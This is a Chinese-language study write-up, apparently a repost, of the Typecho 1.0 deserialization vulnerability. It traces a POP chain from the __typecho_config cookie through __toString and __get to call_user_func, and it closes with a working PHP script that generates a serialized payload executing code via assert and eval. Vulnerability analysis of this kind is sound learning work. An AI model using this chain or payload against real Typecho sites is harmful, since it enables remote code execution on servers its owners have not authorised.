Typecho-反序列化漏洞學習


Typecho-反序列化漏洞學習

0x00 前言

補丁:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f

這里我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release

0x01 分析過程

這個漏洞非常有趣。首先是一個可控參數的反序列化表達式。然后構造pop鏈,尋找__destruct方法,然而沒有找到可利用的。但是通過對反序列化后的變量跟蹤發現,有對其當作字符串調用,因此尋找__toString方法。

這個程序一共就只有三個__toString,我自己找的時候只找到一個“類似SQL注入”的點,后來通過利用autoload機制(參考p牛的CSRF到任意代碼執行)將那個類加載進來。后來又通過一頓分析發現,其只是返回一個SELECT語句的字符串,然后我就沒再跟進了,說不定可以構造成一個反射xss(從反序列化到反射xss???)。

然后看了一下大佬的blog,大佬在另一處__toString中找到了一個方法調用:$item[..]->screenName。由於$item可控,因此這里可以使$item[..]為一個沒有screenName屬性的對象,當訪問一個對象沒有的屬性時就會尋找它的__get方法!所以大佬這里就找了一個存在危險操作的__get方法的類。果然我還是太菜了,滿腦子就只有__destruct和__wakeup。

跟進__get之后,經過一系列的調用,調用了同類下的某個filter方法,然后在里面進行了call_user_func,兩個參數都可控,至此利用鏈分析完畢。

構建poc后發現頁面返回了500錯誤,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之后的內容進行處理時拋出了異常,導致報了錯。我們可以將程序提前exit,不經過后面的報錯即可。

0x02 調試

首先看一下訪問到漏洞點的前置條件

這里會對referer頭做一個校驗,refer中的host值需要與$_SERVER['HTTP_HOST']的值相等。

下面看一下漏洞點

這里需要傳入一個finish參數,然后在230行將cookie中的__typecho_config的值通過base64解碼之后反序列化。
再往下看兩行到232行,這里將$config['adapter']作為第一個參數傳入到Typecho_Db()中。$config就是反序列化傳來的對象,因此這個參數也是我們可控的。我們跟進一下Typecho_Db()

跟進其構造方法之后發現,這里將我們傳來的第一個參數做字符串拼接,如果第一個參數是對象的話,那么這里就會調用其__toString()方法。剛好,第一個參數是我們可控的。

通過尋找__toString方法,找到了一個Typecho_Feed類。

在第二張圖中可以看到$item['author']->screenName。如果$item['author']是一個不能存在screenName屬性的類的話,那么這里就會調用這個類的__get()魔術方法。剛好,這里的$item是我們可控的。因此下面就找哪些類沒有screenName屬性,並且__get方法存在危險操作。

最后找到了Typecho_Request類

可以看到$value是可控的。下面跟進一下_applyFilter方法

可以看到,這里有個call_user_func方法,且$filter和$value都可控。至此這條pop鏈基本是構造完了。

可是構造完payload發現頁面響應500,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之后的內容進行處理時拋出了異常,導致報了錯。如下。

可以看到這里首先拋出了一個Typecho_Db_Exception異常,跟進。

可以看到調用了ob_end_clean()清空了緩沖區。接着跟到self::error。

可以看到,這里配置了一些報錯變量,並在最后輸出到模板中,然后exit退出了程序。

暫時知道有兩種方法來輸出payload的結果:
1)提前exit程序,讓程序不運行到拋出異常處
2)提前將緩沖區內容打印到頁面上
對於1),這里有兩種實現方法,第一種是seebug作者的方法,通過使程序運行出錯自動exit,還有一種是直接簡單粗暴地將exit放到我們的payload中。
對於2),我本想使用ob_end_flush()之類的方法,但是程序在調用時會傳入一個參數,導致ob_end_flush()執行失敗,因為這個方法是不接受參數的,所以對於第2)個方法,目前沒找到出路。

所以這里我將exit放到payload中,成功提前退出,回顯了phpinfo。

payload如下

<?php

	class Typecho_Feed{
		private $_type;
		private $_items = array();

		public function __construct(){
			$this->_type = "RSS 2.0";
			$this->_items = array(
				array(
					"title" => "test",
					"link" => "test",
					"data" => "20190430",
					"author" => new Typecho_Request(),
				),
			);
		}
	}

	class Typecho_Request{
		private $_params = array();
		private $_filter = array();

		public function __construct(){
			$this->_params = array(
				"screenName" => "eval('phpinfo();exit;')",
			);
			$this->_filter = array("assert");
		}
	}

	$a = new Typecho_Feed();

	$c = array(
		"adapter" => $a,
		"prefix" => "test",
	);

	echo base64_encode(serialize($c));

0x03 總結

這個漏洞最精彩的部分就是通過調用__toString再來調用一層__get魔術方法,可惜自己沒法把這些已有的點聯系起來,還是多學習吧。

0xFF 參考

https://paper.seebug.org/424/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM